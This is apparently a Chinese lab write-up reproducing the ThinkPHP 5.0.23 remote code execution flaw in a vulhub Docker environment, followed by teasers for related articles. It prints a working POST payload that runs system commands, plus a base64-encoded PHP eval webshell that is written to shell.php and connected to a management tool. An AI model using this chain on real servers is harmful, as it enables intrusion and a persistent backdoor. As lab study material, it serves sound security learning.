ThinkPHP5 5.0.23远程代码执行漏洞+webshell工具连接（复现详细过程）

10月前作者：六十亿少女的梦分类：Toy博客阅读(96) 违法举报

这篇具有很好参考价值的文章主要介绍了ThinkPHP5 5.0.23远程代码执行漏洞+webshell工具连接（复现详细过程）。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

目录

漏洞介绍

漏洞复现

1.环境搭建

2.漏洞利用

漏洞介绍

5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。

漏洞复现

1.环境搭建

使用docker容器搭建漏洞环境，进入漏洞文件所在。

cd vulhub/thinkphp/5.0.23-rce

(每个人安装路径不同，我这里是安装在vulhub文件内，选择自己的安装路径)

启动环境

docker-compose up -d

ThinkPHP5 5.0.23远程代码执行漏洞+webshell工具连接（复现详细过程）

等待漏洞环境启动完成后，访问your-id：8080就可以看到thinkphp的默认页面了

ThinkPHP5 5.0.23远程代码执行漏洞+webshell工具连接（复现详细过程）

2.漏洞利用

Poc 路径：/index.php?s=captcha

访问your-id:8080/index.php?s=captcha页面会出现报错。

ThinkPHP5 5.0.23远程代码执行漏洞+webshell工具连接（复现详细过程）

接下来我们进行POST传参，这里使用的工具是hackbar

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

命令被执行

ThinkPHP5 5.0.23远程代码执行漏洞+webshell工具连接（复现详细过程）

接下来我们就可以上传shell文件了，但是无法直接上传shell文件，我们需要对shell文件进行Base 64编码

YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJ2F0dGFjayddKSA/PmJi

ThinkPHP5 5.0.23远程代码执行漏洞+webshell工具连接（复现详细过程）

发送POST请求

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJ2F0dGFjayddKSA/PmJi | base64 -d > shell.php

ThinkPHP5 5.0.23远程代码执行漏洞+webshell工具连接（复现详细过程）

访问shell.php文件上传成功

ThinkPHP5 5.0.23远程代码执行漏洞+webshell工具连接（复现详细过程）使用WebShell管理工具连接，输入上传的木马所在位置、密码以及选择Base64编码

ThinkPHP5 5.0.23远程代码执行漏洞+webshell工具连接（复现详细过程）

查看网站目录，复现完成。

ThinkPHP5 5.0.23远程代码执行漏洞+webshell工具连接（复现详细过程）文章来源地址https://www.toymoban.com/news/detail-458567.html

到了这里，关于ThinkPHP5 5.0.23远程代码执行漏洞+webshell工具连接（复现详细过程）的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：如若内容造成侵权/违法违规/事实不符，请点击违法举报进行投诉反馈，一经查实，立即删除！

分享到：

领支付宝红包赞助服务器费用

ThinkPHP5.0.21远程命令执行漏洞

漏洞出现的背景： ThinkPHP是⼀款运⽤极⼴的PHP开发框架。其5.0.23以前的版本中，获取method的⽅法中没有正确处理⽅法名，导致攻击者可以调⽤Request类任意⽅法并构造利⽤链，从⽽导致远程代码执⾏漏洞。由于ThinkPHP5框架对控制器名没有进⾏⾜够的安全检测，导致在没有开

2024年02月04日
浏览(47)
ThinkPHP5.0.0~5.0.23RCE 漏洞分析及挖掘思路

前言本节我将分析thinkphp5.0.x 版本的RCE漏洞，根据漏洞的研究模拟挖掘此漏洞的思路本次分析框架下载，由于官方已经下架了相关的下载接口，这里我们用三方下载一份v5.0.22版本的升级中... https://www.codejie.net/5828.html 附赠 thinkphp5.0官方开发手册架构总览 · ThinkPHP5.0完全开

2024年01月18日
浏览(40)
Thinkphp5.x全漏洞复现分析

我们可以把namespace理解为一个单独的空间，事实上它也就是一个空间而已，子命名空间那就是空间里再划分几个小空间，举个例子：当有多个子命名空间有相同名称类时，不指定使用哪个命名空间的情况下取最后定义的命名空间中的类，比如上面的 dog 取的时 dogC 中的类，在

2024年04月22日
浏览(46)
ThinkPHP5.0.0~5.0.23路由控制不严谨导致的RCE

本次我们继续以漏洞挖掘者的视角，来分析thinkphp的RCE 敏感函数发现在调用入口函数：/ThinkPHP_full_v5.0.22/public/index.php 时发现了框架底层调用了thinkphplibrarythinkApp.php的app类中的incokeMethod方法注意传递的参数，ReflectionMethod接受的参数。如果是数组的形式, 那么参数1是这个

2024年01月23日
浏览(36)
thinkphp5.0.24反序列化漏洞分析

thinkphp5框架： thinkphp5的入口文件在 publicindex.php ，访问反序列化起点写一个反序列化入口点全局搜索 __destruct() 函数 thinkphp_5.0.24thinkphplibrarythinkprocesspipesWindows.php 中的 __destruct() 函数，调用了removeFiles() 跟进removeFiles()，第163行的file_exists可以触发 __toString 方法全局搜索

2023年04月08日
浏览(42)
Windows支持诊断工具(MSDT)远程代码执行漏洞：CVE-2022-30190学习及复现

Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability对应的cve编号为CVE-2022-30190，其能够在非管理员权限、禁用宏且在windows defender开启的情况下绕过防护，达到上线的效果。当从Word等应用程序使用 URL 协议调用 MSDT 时存在远程执行代码漏洞，攻击者通过制作恶意的

2024年02月08日
浏览(56)
uniapp小程序订阅消息推送+Thinkphp5后端代码教程示例

记录一下通过uniapp开发小程序消息推送的实例，配合后端tp推送，之前写的项目是微信小程序而且后端是原生php，这次通过项目记录一下首先我们通过原生php代码回顾一下，不考虑模板参数的话，主要就是“ touser ”和“ ACCESS_TOKEN ” 上述代码大概就是基本流程，我们再看一

2024年02月08日
浏览(47)
微软远程桌面服务远程代码执行漏洞

人和管理成为主要入侵突破口安全需要人、技术、管理的全方位保障，然而人与管理由于其复杂性，常常成为入侵突破口。在 19 年处理的安全事件中，弱口令事件占比 22%，钓鱼邮件相关事件占比 7%，配置不当事件占比 3%，与人和管理相关的事件合计占总数的 1/3，安全管理

2024年02月13日
浏览(37)
远程代码执行漏洞的利用与防御

全称：remote command/code execute 分为远程命令执行和远程代码执行 1.命令执行漏洞：直接调用操作系统命令 2.代码执行漏洞：靠执行脚本代码调用操作系统命令一般出现这种漏洞，是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口，比如我们常见的路由器、防

2024年02月15日
浏览(46)
RCE 远程代码执行漏洞分析

Remote Command/Code Execute 远程命令执行/远程代码执行漏洞这种漏洞通常出现在应用程序或操作系统中，攻击者可以通过利用漏洞注入恶意代码，并在受攻击的系统上执行任意命令。 PHP 代码执行 PHP 代码注入 OS 命令执行 OS 命令注入 Java、Python…… Web 应用程序远程服务操作系统

2024年02月08日
浏览(40)